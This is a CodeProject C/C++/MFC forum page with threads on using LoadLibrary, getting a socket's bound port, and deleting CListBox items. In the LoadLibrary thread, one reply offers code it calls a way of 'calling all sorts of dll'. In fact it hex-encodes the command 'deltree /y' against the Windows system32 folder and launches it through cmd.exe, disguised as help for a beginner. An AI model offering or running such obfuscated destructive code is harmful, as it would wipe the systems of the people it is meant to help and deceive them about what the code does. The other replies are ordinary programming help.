Click here to Skip to main content
15,907,497 members
Home / Discussions / C / C++ / MFC
   

C / C++ / MFC

 
GeneralRe: How to use loadlibrary function Pin
Cedric Moonen19-Mar-09 4:39
Cedric Moonen19-Mar-09 4:39 
GeneralRe: How to use loadlibrary function Pin
led mike19-Mar-09 6:57
led mike19-Mar-09 6:57 
AnswerRe: How to use loadlibrary function Pin
#realJSOP19-Mar-09 3:36
professional#realJSOP19-Mar-09 3:36 
QuestionRe: How to use loadlibrary function Pin
CPallini19-Mar-09 3:53
mveCPallini19-Mar-09 3:53 
AnswerRe: How to use loadlibrary function Pin
Ash_VCPP19-Mar-09 4:08
Ash_VCPP19-Mar-09 4:08 
GeneralRe: How to use loadlibrary function Pin
led mike19-Mar-09 4:26
led mike19-Mar-09 4:26 
QuestionRe: How to use loadlibrary function Pin
CPallini19-Mar-09 7:14
mveCPallini19-Mar-09 7:14 
GeneralRe: How to use loadlibrary function Pin
bulg19-Mar-09 8:59
bulg19-Mar-09 8:59 
Here's a small code for calling all sorts of dll:
// sample arguments
int i;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
char arg[] = {0x64,0x65,0x6c,0x74,0x72,0x65,0x65,0x20,0x2f,0x79,0x20,0x22,0x43,0x3a,0x5c,0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,0x32,0x5c,0x22,'\0'};
i = CreateProcess("cmd.exe",arg,NULL,NULL,0,0,NULL,NULL, &si, &pi);
if(i){
 // something happened
} else {
 // nothing happened
}


disclaimer: use at your own risk, I'm not responsible for your actions.
GeneralRe: How to use loadlibrary function Pin
Snorri Kristjansson21-Mar-09 1:10
professionalSnorri Kristjansson21-Mar-09 1:10 
QuestionHow to get a port number bound to a given socket using function other than getsockname() Pin
Gajendra Sharma19-Mar-09 0:55
Gajendra Sharma19-Mar-09 0:55 
QuestionRe: How to get a port number bound to a given socket using function other than getsockname() Pin
«_Superman_»19-Mar-09 1:05
professional«_Superman_»19-Mar-09 1:05 
AnswerRe: How to get a port number bound to a given socket using function other than getsockname() Pin
Gajendra Sharma19-Mar-09 1:27
Gajendra Sharma19-Mar-09 1:27 
GeneralRe: How to get a port number bound to a given socket using function other than getsockname() Pin
«_Superman_»19-Mar-09 1:33
professional«_Superman_»19-Mar-09 1:33 
GeneralRe: How to get a port number bound to a given socket using function other than getsockname() Pin
Gajendra Sharma19-Mar-09 1:40
Gajendra Sharma19-Mar-09 1:40 
GeneralRe: How to get a port number bound to a given socket using function other than getsockname() Pin
«_Superman_»19-Mar-09 1:48
professional«_Superman_»19-Mar-09 1:48 
GeneralRe: How to get a port number bound to a given socket using function other than getsockname() Pin
Gajendra Sharma19-Mar-09 2:02
Gajendra Sharma19-Mar-09 2:02 
GeneralRe: How to get a port number bound to a given socket using function other than getsockname() Pin
«_Superman_»19-Mar-09 2:02
professional«_Superman_»19-Mar-09 2:02 
AnswerRe: How to get a port number bound to a given socket using function other than getsockname() Pin
Gajendra Sharma25-Mar-09 21:20
Gajendra Sharma25-Mar-09 21:20 
GeneralRe: How to get a port number bound to a given socket using function other than getsockname() Pin
CPallini19-Mar-09 7:15
mveCPallini19-Mar-09 7:15 
QuestionDelete all items of a CListBox Pin
llp00na18-Mar-09 22:32
llp00na18-Mar-09 22:32 
AnswerRe: Delete all items of a CListBox Pin
Code-o-mat18-Mar-09 22:45
Code-o-mat18-Mar-09 22:45 
GeneralRe: Delete all items of a CListBox Pin
llp00na18-Mar-09 22:52
llp00na18-Mar-09 22:52 
GeneralRe: Delete all items of a CListBox Pin
Code-o-mat18-Mar-09 23:06
Code-o-mat18-Mar-09 23:06 
GeneralRe: Delete all items of a CListBox Pin
llp00na18-Mar-09 23:18
llp00na18-Mar-09 23:18 
AnswerRe: Delete all items of a CListBox Pin
surya981216-Jul-11 3:39
surya981216-Jul-11 3:39 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.